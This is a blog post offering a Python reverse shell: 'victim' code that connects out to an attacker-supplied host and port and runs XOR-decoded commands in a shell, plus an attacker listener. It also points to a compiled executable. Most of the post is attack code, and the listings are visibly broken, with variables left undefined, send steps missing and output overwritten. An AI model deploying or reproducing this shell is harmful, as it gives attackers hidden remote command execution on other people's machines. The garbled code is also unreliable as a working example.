Monday, June 1, 2015

Python Reverse Shell - Modified from Primal Security Blog (Updated June 5)

The following Python reverse shell is taken from the Primal Security Blog located at the following link:

I modified the code so the XOR value, port and IP Addresses can be set as command line options on the server or as options on the client.  As long as the XOR value on the client and the server match the commands will run properly.  How I modified the python was from the information located at the following blog:

Server Code (Victim):
import socket,subprocess,sys

if len(sys.argv) == 4:
 RHOST = sys.argv[1]
 RPORT = sys.argv[2]
 xorkey = sys.argv[3]
 xorkey = int(xorkey)
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.connect((RHOST, int(RPORT)))
 while True:
       # recieve XOR encoded data from network socket
       data = s.recv(1024)
       # XOR the data again with a '\x41' to get back to normal data
       en_data = bytearray(data)
       en_data = bytearray(x ^ xorkey for x in en_data)
       # Execute the decoded data as a command.  The subprocess module is great because we can PIPE STDOUT/STDERR/STDIN to a variable
       comm = subprocess.Popen(str(en_data), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
       STDOUT, STDERR = comm.communicate()
       # Encode the output and send to RHOST
  if STDOUT:
        en_STDOUT = bytearray(STDOUT)
        en_STDOUT = bytearray(x ^ xorkey for x in en_STDOUT)
        en_STDOUT = bytearray("Invalid command...")
        en_STDOUT = bytearray(x ^ xorkey for x in en_STDOUT)

 print "Example usage: ./prog   "
 print "The xor key is an integer from 0 to 256"

Client Code (Attacker):

import socket
import time

# TCP Reverse Shell using Python
# Adapted from

# Gather IP Address to Bind to
ipAddr = raw_input('Input Listening IP Address: ')
portNum = raw_input('Input Listening Port: ')
xorkey = raw_input('XOR Key (0-256): ')
xorkey = int(xorkey)

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((ipAddr, int(portNum)))
print "Listening on port " + portNum + "..."
(client, (ip, port)) = s.accept()
print "Received connection from: " + ip

while True:
 command = raw_input('~$ ')
 if len(command) > 1: 
  encode = bytearray(command)
  encode = bytearray(x ^ xorkey for x in encode)
  while 1:
   if len(en_data) < 1024:
    decode = bytearray(en_data)
    decode = bytearray(x ^ xorkey for x in decode)
    outputReceived += decode
    decode = bytearray(en_data)
    decode = bytearray(x ^ xorkey for x in decode)
    outputReceived += decode
  print outputReceived


The code for the client, server and a compiled exe using pyinstaller can be found on my google drive at the following link.

No comments:

Post a Comment

Docker with Juiceshop - Focus on SQL Injection

In preparation for an ethical hacking class that I will be teaching, I wanted to work through a few of the Vulnhub or docker images to refr...